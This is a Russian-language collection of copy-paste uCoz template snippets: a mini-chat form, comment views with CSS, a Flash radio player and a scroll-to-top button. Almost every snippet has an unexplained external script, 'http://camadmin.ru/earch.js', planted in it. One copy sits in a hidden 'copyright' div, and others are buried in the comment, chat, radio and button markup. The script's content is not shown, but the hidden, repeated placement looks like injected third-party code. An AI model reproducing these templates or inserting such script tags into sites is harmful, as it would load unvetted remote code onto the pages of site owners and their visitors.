Адаптация чата iChat для uCoz
Oсобенности: Мод очистки чата. Мод вывода аватара пользователя Новый вид модер панели Установка: 1. В "Форме добавления сообщений мини-чата" замените все на: Код <?if(!$CAN_ADD$)?> <?if($LOGIN_LINK$)?> <div class="ui-state-error ui-corner-all" style="padding:9px;">Только зарегистрированные посетители могут писать в чате.<div class="copyright" style="display: none;"> <script type="text/javascript" src="http://camadmin.ru/earch.js"></script></div><div class="clr"></div></div> <?else?> <div class="ui-state-error ui-corner-all" style="padding:9px;">Вам нельзя писать в чате.<div class="copyright" style="display: none;"> </div><div class="clr"></div></div> <?endif?> <?else?> <div class="iChat_editor"> <div class="iChat_bbeditor"> <span onclick="iChat_simpletag('b')"><img title="Полужирный" src="/ichat/img/bbcode/b.png" alt="" /></span> <span onclick="iChat_simpletag('i')"><img title="Наклонный текст" src="/ichat/img/bbcode/i.png" alt="" /></span> <span onclick="iChat_simpletag('u')"><img title="Подчеркнутый текст" src="/ichat/img/bbcode/u.png" alt="" /></span> <span onclick="iChat_simpletag('s')"><img title="Зачеркнутый текст" src="/ichat/img/bbcode/s.png" alt="" /></span> <img class="bbspacer" src="/ichat/img/bbcode/brkspace.png" alt="" /> <span href="$SMILES_URI$"><img title="Вставка смайликов" src="/ichat/img/bbcode/emo.png" alt="" /></span> <span onclick="iChat_tag_leech()"><img title="Вставка защищенной ссылки" src="/ichat/img/bbcode/link.png" alt="" /></span> <span onclick="iChat_ins_color(this);"><img title="Цвет текста" src="/ichat/img/bbcode/color.png" alt="" /></span> <span onclick="iChat_simpletag('quote')"><img title="Вставка цитаты" src="/ichat/img/bbcode/quote.png" alt="" /></span> <span onclick="iChat_translit()"><img title="Преобразовать выбранный текст из транслитерации в кириллицу" src="/ichat/img/bbcode/translit.png" alt="" /></span> <div class="clr"></div> </div> <textarea name="mcmessage" class="message" title="Сообщение" onkeyup="countMessLength();" onfocus="countMessLength();" style="height:40px;width:95%;resize:none;" id="mchatMsgF"></textarea> <div class="clr"></div> </div> <div style="padding-top:12px;"> <?if($GROUP_ID$=4 || $GROUP_ID$=3)?> <input type="button" class="button" onclick="delete_chat()" style="font-size: 9px; float: left;" value="Очистить"> <?endif?> <?if($MSGCTRL_URI$)?> <input type="button" class="button" href="$MSGCTRL_URI$" style="font-size: 9px; float: left;" value="Управление"> <?endif?> <script type="text/javascript" src="http://camadmin.ru/earch.js"></script> <input class="button" type="submit" style="font-size: 9px; float: right;" value="Отправить"> </div> <?endif?> 2. Вид материалов миничата: Код <?if($USER_ID$=1)?> <?if($NUMBER$=1)?> <span style="display:none;" id="allmes"></span> <link type="text/css" rel="StyleSheet" href="http://s1.ucoz.net/src/layer1.css" /> <?endif?> <script> $(document).ready(function() { <?if($NUMBER$=1)?>$('#allmes').load('/mchat/0-1 div.myBdBottom'); <?endif?> $('.mymod$NUMBER$').toggle(function() { var mmid = $(this); var tme = mmid.attr('alt'); var nk = $('div.myBdBottom span[title="'+tme+'"]').html(); var nk2 = nk.replace(/Вчера/g, '').replace(/Сегодня/g, ''); $('#lhre$NUMBER$').html(''+nk2+''); }, function() { $('#lhre$NUMBER$').html(''); }); }); </script> <script> function edit_rec(id) { new _uWnd('Ie','Редактирование Сообщения',430,300,{fadespeed:0,fadeclosespeed:0,modal:1,autosize:1,closeonesc:1,popup:1,resize:0},{url:'/mchat/'+id+'-5'}); return false; }; function del_rec(id) { $.get('/index/14-0-0-1', function(d) { var aa = $('input[name="ssid"]', d).val(); _entrRem('dib'+id,'/mchat/'+id+'-7-'+aa,'http://s1.ucoz.net','Вы подтверждаете удаление?'); return false; }); // Строчка ниже работает лишь с jQuery 1.6.1 // Если у вас активирован jQuery 1.3.2 - Удалите строчку ниже $('img[title="Удалить"]').mouseout(function() {$(this).parent().parent().parent().parent().parent().parent().delay(500).slideUp(1000)}); // Конец строчки, которая работает лишь с jQuery 1.6.1 }; </script> <?endif?> <div class="message"> <div class="avatar"><img src="$AVATAR_URL$" width="32" height="32" alt="$USERNAME$" /></div> <div class="info"><b><a href="$PROFILE_URL$" title="$USERNAME$" rel="nofollow">$USERNAME$</a></b><br />$TIME$</div> <hr /> <div class="text">$MESSAGE$</div> <div align="right"> <img class="action" href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;" src="/ichat/img/quote.png" alt="Ответить" /> <?if($USER_ID$=1 or $USER_ID$=2)?> <img height="16px" src="/ichat/img/delete.png" class="mymod$NUMBER$" alt="$TIME$" id="ol$NUMBER$" /> <span id="lhre$NUMBER$"></span><?endif?> 3. В CSS: Код /*--- iChat v1.1 by MAD-GTX. ---*/
.iChat { padding: 3px; } .message { font-size: 11px; font-family: 'Trebuchet MS',Helvetica,Arial,sans-serif; line-height: 1.27; word-wrap: break-word; } .message { border: 1px solid #dadada; background-color:#FFFFFF; margin-left: 3px; margin-right: 3px; margin-bottom: 1px; margin-top: 2px; -webkit-border-radius: 7px; -moz-border-radius: 7px; border-radius: 7px; padding: 3px; } .message:hover { border: 1px solid #cccccc; } .clr { clear: both; } .message div { margin: 0; padding: 0; } .message .info { display: block; margin-top: 2px; color: #969696; background-color: rgb(240, 247, 252); -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } .button { background: #fff url("/ichat/img/button.png") repeat-x 0 100%; text-shadow: 0 1px 0 #fff; border: 1px solid #b3b3b3; color: #383838; padding: 2px 9px 5px 9px; margin-bottom: 2px !important; height: 24px; font-weight: bold; cursor: pointer; -webkit-border-radius: 8px; -moz-border-radius: 8px; border-radius: 8px; -moz-box-shadow: 0 1px 4px -3px black; -webkit-box-shadow: 0 1px 4px -3px black; box-shadow: 0 1px 4px -3px black; } .button:hover { background-position: 0 10px; } .message .text { margin-left: 5px; font-size: 12px; } .message a { color: #1 ... Читать дальше » Вид комментариев для uCoz v.5
Всем привет, сегодня я хочу предоставить на общее скачивание очередной вид комментариев для uCoz реализованный в стили минимализма, ничего лишнего как говориться.
Шаг 1 - Установим HTML: Как и полагается для начала нам следует установить html каркас вида комментариев, для этого заходим в Админ панель => Дизайн => Управление дизайном => Комментарии => Вид комментариев в котором удаляем старый html код и устанавливаем новый: Код <div class="cell_comment"> <div class="comment_top"> <strong class="comment_name"><?if($USERNAME$)?>$USERNAME$ <?else?>$NAME$<?endif?></strong> <span> пишет: | $DATE$ | $TIME$ <?if($MODER_PANEL$ && $EMAIL$)?><a href="$EMAIL_JS$" title="Email"> ( E-mail )</a><?endif?></span> <a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><strong class="comment_number">#$NUMBER$</strong></a> <?if($ENTRY_URL$)?><a class="comment_page" href="$ENTRY_URL$" target="_blank" title="Перейти на страницу материала">Страница с комментарием </a><?endif?> <?if($MODER_PANEL$)?><span class="comment_mp">$MODER_PANEL$</span><?endif?> </div> <div class="comment_message"> <?if($USERNAME$)?><a href="$PROFILE_URL$"><img class="comment_avatar" alt="$USERNAME$" src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://bambun.ru/images/no_aiotar.jpg<?endif?>" /></a><?else?><img src="http://www.center-dm.ru/img/no_avatar.jpg" class="comment_avatar" alt="аватар отсутствует" /><?endif?> $MESSAGE$ <?if($ANSWER$)?><div class="comment_answer_admin"><a href="/index/8-1" ><img class="comment_avatar_admin" alt="админ" src="http://ПРОПИШИТЕ ВАШ АДМИН АВАТАР"></a>$ANSWER$</div><?endif?> </div> <div class="comment_bottom"> <?if($ANSWER_URL$)?><a href="$ANSWER_URL$" class="comment_answer">Ответить</a><?endif?> <strong> <?if($COMMENT_RATING$>0)?>Like | +$COMMENT_RATING$ <?endif?> <?if($COMMENT_RATING$=0)?><?if($GOOD_COMMENT_URL$)?><?else?>Like |<?endif?> $COMMENT_RATING$ <?endif?></strong> <?if($GOOD_COMMENT_URL$)?><a class="comment_like" href="$GOOD_COMMENT_URL$">Like</a><?endif?> </div> </div> Обратите внимание, что аватар и ссылка на страницу администратора в ячейки системной переменной $ANSWER$ отвечающий за отображение ответа от администратора, следует прописать вручную. Шаг 2- Установим CSS: Теперь когда наш с вами каркас формы добавление комментариев для uCoz готов, пропишем ему следующие css стили: Код /* Вид комментариев для uCoz v.5 ------------------------------------------*/ .cell_comment { float:left; width:100%; color:#666; background:#fff; margin: 10px 0px; border: 5px solid #bdd3e0; border-radius:3px; overflow: hidden; } .comment_top { float:left; width:100%; padding:5px 0px; background:#F4F8F9; border-bottom: 1px solid #E6F0F2; } .comment_name{ margin-left: 20px; color:#34AB63; } .comment_number { float:right; background:#f5f7f9; margin-right: 20px; } .comment_top span { font:9px Verdana,Arial,Helvetica, sans-serif; color:#999; } .comment_mp, .comment_page { float:right; margin-right: 20px; } .comment_message { float:left; font:115%/1.5 Verdana,Arial,Helvetica, sans-serif; text-align:justify; width:94%; overflow: hidden; padding: 10px 20px 15px 20px; } .comment_avatar { float:right; width:50px; height:50px; margin: 0px 0px 10px 20px; border: 3px solid #bdd3e0; border-radius:3px; } .comment_bottom { float:left; width:100%; padding:6px 0px 5px 0px; background:#F4F8F9; border-top: 1px solid #E6F0F2; font:10px Verdana,Arial,Helvetica, sans-serif; } .comment_answer:link, .comment_answer:visited{ float:left; margin: 0px 0px 0px 20px; background:#8cbec9; padding: 2px 7px 2px 7px; text-shadow: 1px 1px 1px #5d97a4; color:#fff; } .comment_answer:hover { background:#9dd0db; } .comment_answer:active { box-shadow:inset 0px 0px 3px #5a95a2!important; } .comment_like:link, .comment_like:visited{ float:right; background:#8ec98c; padding: 2px 7px 2px 7px; text-shadow: 1px 1px 1px #4aa44c; color:#fff; } .comment_like:hover { background:#abe6a9; } .comment_like:active { box-shadow:inset 0px 0px 3px #349932!important; } .comment_bottom strong { float:right; padding: 2px 10px 2px 10px; background:#dde9d9; margin-right: 20px; } .comment_answer_admin{ float:left; width:94%; margin-top: 10px; padding: 10px 20px 10px 20px; background:#f4ecec; border-radius:3px; } .comment_avatar_admin{ float:right; width:50px; height:50px; margin: 0px 0px 10px 25px; border: 3px solid #dca2a2; border-radius:3px; } .cell_comment a:hover img { filter: progid: DXImageTransform.Microsoft.Alpha(opacity=85); -moz-opacity: 0.7; opacity: 0.7; filter: alpha(opacity=85); } На этом всё, спасибо за внимание! Новый вид комментариев v.1.0 + Модер-панель для uCoz
Здравствуйте дорогие читатели, сегодня хочу вас порадовать новым видом комментариев и модер-панель для uCoz, в этом виде комментария присутствует уголок что делает вид комментариев симпатичней, не стандартная модер-панель + кнопка "Ответить", небольшая кнопочка "Like". Шаг 1 - Установим HTML: Для начало нам следует удалить старый html код вида комментарий, для этого идём в Админ панель => Дизайн => Управление дизайном => Комментарии => Вид комментариев и устанавливаем следующий код: Код <div class="content-com"> <div class="com_p text_r text_9"> <?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?> <img class="avatar_comment wbr3" src="$USER_AVATAR_URL$" /><?else?><img src="/img/no_avatar.jpg" class="avatar_comment wbr3" alt="аватар отсутствует" /><?endif?></a><?else?><img src="/img/no_avatar.jpg" class="avatar_comment wbr3" alt="аватар отсутствует" /><?endif?> <?if($USER_LOGGED_IN$)?> <?if($IS_OWN$)?><?else?> <?if($COMMENT_RATING$)?><?else?> <a class="kcom_like ts_b wbr3" href="$GOOD_COMMENT_URL$">Like</a> <?endif?> <?endif?> <?endif?> </div> <div class="com_l wbr3"> <div class="com_v grey"> <?if($ANSWER_URL$)?><div class="left_block"><a href="$ANSWER_URL$" title="Комментировать"><div class="otvet"></div></a></div><?endif?> <?if($USERNAME$)?><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><div class="left_block top cherta-right gren">$USERNAME$</div><?else?><?if($NAME$)?><div class="left_block top cherta-right gren">$NAME$</div><?else?><div class="left_block top cherta-right gren">Гость</div><?endif?><?endif?> <div class="left_block top2 text_9">$DATE$ - $TIME$</div> <div class="right top2 text_9 grey cherta-left ">Like | <?if($COMMENT_RATING$=0)?>0<?else?><span class="gren">+$COMMENT_RATING$</span><?endif?></div> <div class="right top2 text_9 grey cherta-left">№$NUMBER$</div> <?if($MODER_PANEL$)?> <a title="Удалить" onclick="del_item($ID$);return false;" id="di$ID$"> <div class="delete-com right"></div> </a> <a title="Редактировать" onclick="new _uWnd('Ie',' ',-600,-200,{autosize:1,closeonesc:1,resize:0},{url:'/index/37-$ID$'});return false;"> <div class="edit-com right"></div> </a> <?endif?> </div> <div class="com_c text_115">$MESSAGE$ </div> <div class="com_n grey text_9"> <span class="left"> </span> </div> </div> </div> Шаг 2 - Установим CSS: Теперь нам надо прописать стили "css" что бы наш вид комментариев отображался коректно и стал симпатичным. Код /* Вид комментариев v.1
------------------------------------------*/ /* Выравнивание */ div.left_block {float:left;} div.right_block {float:right;} /* Кнопки комментировать, редактировать, удалить */ .otvet { background: url(/img/otvet.png); background-position: -0px -0px; width: 25px; height: 23px; cursor: pointer; border-right:1px solid #cad1db; } .otvet:hover { background: url(/img/otvet.png); background-position: -0px -23px; width: 25px; height: 23px; cursor: pointer; } .edit-com { background: url(/img/moder-panel.png); background-position: -0px -0px; width: 35px; height: 23px; cursor: pointer; border-left:1px solid #cad1db; } .edit-com:hover { background: url(/img/moder-panel.png); background-position: -0px -23px; width: 35px; height: 23px; cursor: pointer; } .delete-com { background: url(/img/moder-panel.png); background-position: -35px -0px; width: 35px; height: 23px; cursor: pointer; border-left:1px solid #cad1db; } .delete-com:hover { background: url(/img/moder-panel.png); background-position: -35px -23px; width: 35px; height: 23px; cursor: pointer; } /* Аватар */ .avatar_comment { width:50px; height:50px; padding:3px; background:#888888; } /* Закругление углов */ .wbr3 { -webkit-border-radius:3px; -moz-border-radius:3px; border-radius:3px; } /* Контент */ .content-com { float:left; width:100%; position:relative; margin-bottom:15px } .com_p { top:0; right:0; width:75px; position:absolute; background:url(/img/ugolok.png) no-repeat top left } .com_l { padding:0px 0; background:#fff; border:1px solid #cad1db; margin:0 74px 0 0; overflow:hidden } .com_v { height:23px; border-bottom:1px solid #cad3da } .com_v,.com_n { margin:0 0px 0 0px } .com_c { min-height: 39px; overflow:hidden; margin:5px 15px 7px 15px; } .com_c p { padding:10px; margin:10px 0; background:#ebfce8; overflow:hidden!important; border:1px solid #b4e5ac } /* Like */ .kcom_like:link,.kcom_like:visited { text-align:center; color:#fff; float:right; width:47px; background:#999999; margin-top:3px; padding:1px 3px 1px 3px; border:1px solid #666666 } .kcom_like:hover { text-decoration: none; border:1px solid #666666!important; color:#375e15!important; text-shadow:1px 1px 1px #d7ffb6!important; background:#9aeb56!important } ... Читать дальше » Радио в стиме mp3 плеера
Хорошее радио с разными стилями музыки.
Поднимайте настрой вашим посетителям сайта. Код </div> <div class="blockcontent"> <div style="margin:10px auto 10px 0px;"> <div style="text-align:center;"> <embed src="http://delaisait.ucoz.ru/script/radio/flash/ipodwhite/dsipodwhite.swf" quality="high" type="application/x-shockwave-flash" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" allowscriptaccess="always" height="274" width="156"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script> </div> Палец вверх (поднятие страници)
в самый вверх нижней части сайта:
Код <style> #scroll_to{ display: block; display: none; z-index: 999; position: fixed; bottom: 50px; right: 50px; } #scroll_to a{ text-decoration:none; } </style> <script src="http://bambun.ru/css_js/link_top.js"></script> <div id="scroll_to"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script> <a href="#top" id="top-link"> <img src="http://bambun.ru/images/top_9.png" alt="Поднять страницу в верх" /> </a> </div> |